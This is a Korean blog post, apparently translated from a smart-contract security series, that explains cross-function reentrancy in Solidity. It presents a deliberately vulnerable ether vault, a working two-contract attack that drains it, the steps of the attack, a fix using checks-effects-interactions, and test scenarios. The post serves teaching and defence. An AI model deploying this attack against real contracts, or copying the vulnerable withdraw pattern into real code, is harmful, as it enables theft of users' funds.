Cross-Function-Reentrancy


https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e

번역 및 내용을 추가하여 작성하였습니다.

다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.

  • Solidity
  • Typescript
  • Truffle ,Hardhat, Ethers.js, Web3.js
  • Test Script 작성 능력

함수 간 재진입은 복잡성 측면에서 또 다른 수준의 재진입입니다.

일반적으로 이 문제의 원인은 동일한 상태 변수를 상호 공유하는 여러 함수가 있고, 그 중 일부 함수가 해당 변수를 불안정하게 업데이트하기 때문입니다.

The Dependency

InsecureEtherVault Contract와 FixedEtherVault Contract에 필요한 ReentrancyGuard abstract Contract입니다.

pragma solidity 0.8.13;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

The Vulnerability

사용자가 ETH를 입금하고 입금된 ETH를 다른 사용자에게 전송하고, 입금된 ETH를 모두 출금하고, 잔액을 확인할 수 있는 간단한 Contract입니다.

pragma solidity 0.8.13;

import "./Dependencies.sol";

contract InsecureEtherVault is ReentrancyGuard {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function transfer(address _to, uint256 _amount) external {
        if (userBalances[msg.sender] >= _amount) {
           userBalances[_to] += _amount;
           userBalances[msg.sender] -= _amount;
        }
    }

    function withdrawAll() external noReentrant {  // Apply the noReentrant modifier
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        userBalances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}

Cross-Function Reentrancy는 23번째 라인 withdrawAll() 함수에서 시작됩니다.

함수 간 재진입 공격의 근본적인 원인은 하나의 상태 변수를 상호 공유하는 여러 함수가 있고, 그 중 일부 함수가 해당 변수를 안전하지 않게 업데이트 하기 때문입니다.

  • withdrawAll() 함수는 noReentrant modifier를 적용하였기 때문에 공격자는 더이상 withdrawAll() 함수에 재진입 공격을 시도할 수 없습니다.
  • 그럼에도 해당 공격이 가능한 이유는 withdrawAll() 함수는 출금자에게 ETH를 보내기 전에 잔액을 업데이트하지 않아서 입니다.
  • 따라서 공격자는 Attack[1] Contract의 receive 함수를 통해 제어 흐름을 조작하여 잔액을 다른 컨트랙트인 Attack[2] Contract로 전송함으로써 Cross-reentrancy Attack을 수행할 수 있습니다.
  • 이렇게하면 공격자는 Attack[2] Contract의 attackNext() 함수를 호출하여 InsecureEtherVault Contract에서 ETH를 점진적으로 인출한 다음 Attack[2] Contract의 잔액을 Attack[1] Contract로 전송할 수 있습니다.
  • 공격자는 InsecureEtherVault Contract에 있는 모든 ETH를 훔치기 위해 Attack[1]과 Attack[2] Contract의 attackNext() 함수를 번갈아 실행합니다.

실제로 공격자는 앞서 설명한 2개의 Contract로 나눠서 실행한 공격을 단일 트랜잭션으로 통합하여 공격을 자동화할 수 있습니다. 하지만 이해를 돕기 위해 6단계는 의도적으로 분리했습니다.

The Attack

아래 코드는 InsecureEtherVault Contract를 공격할 수 있는 Contract입니다.

pragma solidity 0.8.13;

interface IEtherVault {
    function deposit() external payable;
    function transfer(address _to, uint256 _amount) external;
    function withdrawAll() external;
    function getUserBalance(address _user) external view returns (uint256);
} 

contract Attack {
    IEtherVault public immutable etherVault;
    Attack public attackPeer;

    constructor(IEtherVault _etherVault) {
        etherVault = _etherVault;
    }

    function setAttackPeer(Attack _attackPeer) external {
        attackPeer = _attackPeer;
    }
    
    receive() external payable {
        if (address(etherVault).balance >= 1 ether) {
            etherVault.transfer(
                address(attackPeer), 
                etherVault.getUserBalance(address(this))
            );
        }
    }

    function attackInit() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        etherVault.deposit{value: 1 ether}();
        etherVault.withdrawAll();
    }

    function attackNext() external {
        etherVault.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

InsecureEtherVault Contract를 공격하려면 공격자는 2개의 Attack Contract를 배포한 후 다음 작업을 수행해야 합니다.

  1. Call: 공격자는 attack1.attackInit()을 호출하며 1 ETH를 공급하고 출금합니다.
  2. Call: 공격자는 attack2.attackNext()을 호출하며 1 ETH를 출금합니다.
  3. Alternately Call: attack1.attackNext()와 attack2.attackNext()을 사용하여 InsecureEtherVault Contract에 있는 ETH를 모두 출금합니다.

첨부된 이미지처럼 공격자는 두 개의 Attack Contract에 번갈아 가며 별도의 트랜잭션을 생성하여 InsecureEtherVault Contract에 있는 ETH를 모두 출금했습니다.

The Solutions

Solution

checks-effects-interactions pattern을 적용하면 재진입 공격을 막을 수 있습니다.

withdrawAll() 함수를 수정하였습니다. 출금자에게 ETH를 다시 보내기 전에 출금자의 잔액이 업데이트 되도록하여 Cross-Function-Reentrancy 공격을 방지합니다.

pragma solidity 0.8.13;

import "./Dependencies.sol";

contract FixedEtherVault is ReentrancyGuard {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function transfer(address _to, uint256 _amount) external {
        if (userBalances[msg.sender] >= _amount) {
           userBalances[_to] += _amount;
           userBalances[msg.sender] -= _amount;
        }
    }

    function withdrawAll() external noReentrant {  // Apply the noReentrant modifier
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        userBalances[msg.sender] = 0;  // Effect

        (bool success, ) = msg.sender.call{value: balance}("");  // Interaction
        require(success, "Failed to send Ether");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}

Test


Source code link

InsecureEtherVault Contract

테스트 시나리오

  • 입금
    • 사용자는 입금할 수 있다.
  • 출금
    • 사용자는 입금한 금액 전부를 한번에 출금할 수 있다.
    • 사용자가 입금한 잔액이 없으면 출금할 수 없다.
    • 출금 함수 호출 시 EOA, CA가 수신하지 못할 경우 Revert된다.
  • 이제
    • 잔액을 가진 유저는 다른 유저에게 이체할 수 있다.
    • 잔액이 충분하지 않은 유저는 다른 유저에게 이체할 수 없다.

FixedEtherVault Contract

테스트 시나리오

  • 입금
    • 사용자는 입금할 수 있다.
  • 출금
    • 사용자는 입금한 금액 전부를 한번에 출금할 수 있다.
    • 사용자가 입금한 잔액이 없으면 출금할 수 없다.
    • 출금 함수 호출 시 EOA, CA가 수신하지 못할 경우 Revert된다.
  • 이제
    • 잔액을 가진 유저는 다른 유저에게 이체할 수 있다.
    • 잔액이 충분하지 않은 유저는 다른 유저에게 이체할 수 없다.

Attack Contract

테스트 시나리오

  • 공격 준비
    • first user와 second user가 20 ETH씩 공급한다.
    • Attack[1] 컨트랙트에 Attack[2] 컨트랙트를 Peer로 설정할 수 있다
  • 공격
    • 공격자는 Attack[1] 컨트랙트에 ETH를 공급하지 않으면 공격할 수 없다. (value < 1)
    • 공격자는 2 ETH 이상 공급하면 공격할 수 없다. (value >= 2)
    • 공격자는 공격을 시작하여 InsecureEtherVault Contract의 ETH를 모두 소진시킬 수 있다. (value == 1)
    • 공격자는 FixedEtherVault Contract에 재진입 공격 시 실패한다.

Test Code Coverage


profile
좋은 개발자가 되고싶은

0개의 댓글